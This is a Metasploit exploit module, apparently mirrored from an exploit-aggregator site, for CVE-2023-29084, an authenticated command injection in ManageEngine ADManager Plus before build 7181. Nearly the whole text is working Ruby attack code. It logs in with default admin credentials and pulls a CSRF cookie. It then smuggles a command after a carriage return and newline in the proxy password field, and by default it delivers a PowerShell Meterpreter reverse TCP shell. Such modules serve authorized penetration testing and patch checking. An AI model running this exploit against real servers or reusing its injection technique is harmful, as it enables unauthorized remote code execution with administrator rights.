Share
## https://sploitus.com/exploit?id=PACKETSTORM:172755
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
require 'json'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection',  
'Description' => %q{  
ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient  
validation of user input when performing the ChangePasswordAction function before passing it into a string that is later  
used as an OS command to execute.  
  
By making a POST request to /api/json/admin/saveServerSettings with a params POST  
parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a  
carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user  
running ADManager Plus, which will typically be the local administrator.  
  
Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,  
so this vulnerability does require authentication to exploit.  
  
As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads  
with this exploit, since these will use HTTP connections that will be affected by the change in configuration.  
},  
'Author' => [  
'Simon Humbert', # Disclosure of bug via ZDI  
'Dinh Hoang', # Aka hnd3884. Writeup and PoC  
'Grant Willcox', # Metasploit module  
],  
'References' => [  
['CVE', '2023-29084'],  
['URL', 'https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/'], # Writeup  
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], # ZDI Advisory  
['URL', 'https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html'], # Advisory  
['URL', 'https://www.manageengine.com/products/ad-manager/release-notes.html'] # Release Notes and Reporter Acknowledgement  
],  
'DisclosureDate' => '2023-04-12',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD],  
'Privileged' => true,  
'Payload' => {  
'BadChars' => "\x22\x0A\x0D\x00[{}]:," # Avoid double quotes, aka 0x22, and some other characters that might cause issues.  
},  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },  
'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse bind none' } }  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8080  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server.  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The user to log into ADManager Plus as', 'admin']),  
OptString.new('PASSWORD', [true, 'The password to log in with', 'admin']),  
OptString.new('DOMAIN', [true, 'The domain to log into', 'ADManager Plus Authentication'])  
]  
)  
end  
  
def login(username, password, domain)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'j_security_check'),  
'method' => 'POST',  
'vars_get' => {  
'LogoutFromSSO' => 'true'  
},  
'vars_post' => {  
'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request.  
'j_username' => username,  
'j_password' => password,  
'domainName' => domain,  
'AUTHRULE_NAME' => 'ADAuthenticator'  
},  
'keep_cookies' => true  
)  
  
unless res && (res.code == 302 || res.code == 303)  
fail_with(Failure::NoAccess, 'Could not log in successfully!')  
end  
  
print_good('Logged in successfully!')  
end  
  
def check  
res = send_request_cgi(  
'uri' => target_uri.path,  
'method' => 'GET'  
)  
  
unless res && res.code == 200 && res.body  
return CheckCode::Unknown('Browsing to root of website returned a non-200 or empty response!')  
end  
  
unless res.body&.match(/\.val\('ADManager Plus Authentication'\)/)  
return CheckCode::Safe('Target is not running ADManager Plus!')  
end  
  
build_number = res.body&.match(/src=".+\.js\?v=(\d{4})"/)  
unless build_number  
return CheckCode::Unknown('Home page did not leak the build number via the ?v= parameter as expected!')  
end  
  
build_number = build_number[1]  
print_good("The target is running AdManager Plus build #{build_number}!")  
  
# Versions 7181 and later are patched, everything prior is vulnerable.  
target_build = Rex::Version.new(build_number)  
if target_build >= Rex::Version.new('7181')  
CheckCode::Safe('Target is running a patched version of AdManager Plus!')  
elsif target_build < Rex::Version.new('7181')  
CheckCode::Appears('Target appears to be running a vulnerable version of AdManager Plus!')  
else  
CheckCode::Unknown("An unknown error occurred when trying to parse the build number: #{build_number}. Please report this error!")  
end  
end  
  
def exploit  
res = send_request_cgi(  
'uri' => target_uri.path,  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!')  
end  
  
login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DOMAIN'])  
  
# We need to do this post login otherwise we will get errors. This also ensures we get updated  
# cookies post login as these can sometimes change post login process.  
res = send_request_cgi(  
'uri' => target_uri.path,  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code post authentication!')  
end  
  
# Check that we actually got our cookies updated post authentication and visiting the homepage.  
unless res&.get_cookies&.match(/adscsrf=.*?;.*?;.*?_zcsr_tmp=.*?;/)  
fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected updated cookies after logging in and visiting the home page.')  
end  
  
@csrf_cookie = nil  
for cookie in @cookie_jar&.cookies  
if cookie.name == 'adscsrf'  
@csrf_cookie = cookie.value  
break  
end  
end  
  
fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank?  
  
retrieve_original_settings  
  
begin  
modify_proxy(create_params_value_enable(payload.encoded))  
ensure  
modify_proxy(create_params_value_restore)  
end  
end  
  
def retrieve_original_settings  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'),  
'method' => 'POST',  
'vars_post' => {  
'adscsrf' => @csrf_cookie  
},  
'keep_cookies' => true  
}  
)  
  
unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/)  
fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!')  
end  
  
json_body = JSON.parse(res.body)  
server_details = json_body['serverDetails']  
unless server_details  
fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!')  
end  
  
server_details.each do |elm|  
next unless elm['tabId'] == 'proxy'  
  
@original_port = elm['PORT']  
@original_password = elm['PASSWORD']  
@proxy_enabled = elm['ENABLE_PROXY']  
@original_server_name = elm['SERVER_NAME']  
@original_user_name = elm['USER_NAME']  
break  
end  
end  
  
def modify_proxy(params)  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'),  
'method' => 'POST',  
'vars_post' => {  
'adscsrf' => @csrf_cookie,  
'params' => params  
},  
'keep_cookies' => true  
}  
)  
  
if res && res.code == 200  
if res.body&.match(/{"isAuthorized":false}/)  
fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!')  
elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/)  
print_warning("Settings successfully changed confirmation received before timeout occurred. Its possible the payload didn't execute!")  
elsif res.body&.match(/"status":"error"/)  
print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}")  
else  
fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!')  
end  
elsif res.nil?  
print_good('Request timed out. Its likely the payload executed successfully!')  
else  
fail_with(Failure::UnexpectedReply, "Target responded with a non-200 OK code to our saveServerSettings request! Code was #{res.code}")  
end  
end  
  
def create_params_value_enable(cmd)  
[  
{  
tabId: 'proxy',  
ENABLE_PROXY: true,  
SERVER_NAME: 'localhost', # In my experience this worked most reliably.  
USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s,  
PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}",  
PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably.  
}  
].to_json  
end  
  
def create_params_value_restore  
[  
{  
tabId: 'proxy',  
ENABLE_PROXY: @proxy_enabled,  
SERVER_NAME: @original_server_name,  
USER_NAME: @original_user_name,  
PASSWORD: @original_password,  
PORT: @original_port  
}  
].to_json  
end  
end